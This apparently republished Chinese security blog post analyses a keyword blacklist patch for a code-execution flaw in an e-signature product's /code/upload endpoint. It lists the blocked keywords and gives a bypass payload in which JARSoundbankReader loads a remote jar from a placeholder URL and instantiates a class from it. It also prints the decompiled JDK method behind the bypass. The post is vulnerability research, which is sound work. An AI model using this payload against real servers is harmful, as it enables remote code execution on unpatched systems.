某电子签章补丁绕过
前言
分析
这里是一个历史漏洞的补丁分析绕过。
几年前披露过/code/upload
接口存在一个代码执行漏洞,官方也是一直有黑名单补丁去过滤。此接口具体漏洞这里不做分析,网上可以搜到具体分析文章。
叮~,补丁到手,找到对应的过滤方法com.qiyuesuo.security.patch.filter.wrapper.CustomCodeRequestWrapper#getParts
可以看到关键字主要SENSITIVE_KEY_LISTS
这个list,内容如下(截止目前2/24日最新补丁)
Runtime
Process
ProcessBuilder
SpelExpressionParser
invoke
Class.forName
newInstance
ClassLoader
Constructor
ObjectInputStream
ScriptEngine
parseExpression
getDeclaredField
setAccessible
getMethod
lookup
freemarker
security
Base64
SerializationUtils
deserialize
static
Yaml
JdbcRowSetImpl
Transformer
AgentManager
过滤大部分关于反序列、表达式注入的函数方法。
这里找到了另一种黑名单中不存在的
new com.sun.media.sound.JARSoundbankReader().getSoundbank(new java.net.URL("http://xxxxxx/xxxx.jar"));
JARSoundbankReader
利用点位于com.sun.media.sound.JARSoundbankReader#getSoundbank(java.net.URL)
方法
public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {
Objects.requireNonNull(var1);
if (Boolean.getBoolean("jdk.sound.jarsoundbank") && isZIP(var1)) {
ArrayList var2 = new ArrayList();
URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});
InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");
if (var4 == null) {
return null;
} else {
try {
BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));
for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {
if (!var6.startsWith("#")) {
try {
Class var7 = Class.forName(var6.trim(), false, var3);
if (Soundbank.class.isAssignableFrom(var7)) {
Object var8 = ReflectUtil.newInstance(var7);
var2.add((Soundbank)var8);
}
} catch (ClassNotFoundException var14) {
} catch (InstantiationException var15) {
} catch (IllegalAccessException var16) {
}
}
}
} finally {
var4.close();
}
if (var2.size() == 0) {
return null;
} else if (var2.size() == 1) {
return (Soundbank)var2.get(0);
} else {
SimpleSoundbank var18 = new SimpleSoundbank();
for(Soundbank var20 : var2) {
var18.addAllInstruments(var20);
}
return var18;
}
}
} else {
return null;
}
}
可以看到遵循了SPI机制,动态加载javax.sound.midi.Soundbank
的实现类。
这里有一个问题:
官方在JDK8u362-b08加了限制,默认jdk.sound.jarsoundbank
是不开的,需要我们手动去开,但是这套系统的JDK环境基本都到不了362这个版本,实际都是可以利用的。
最后
本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录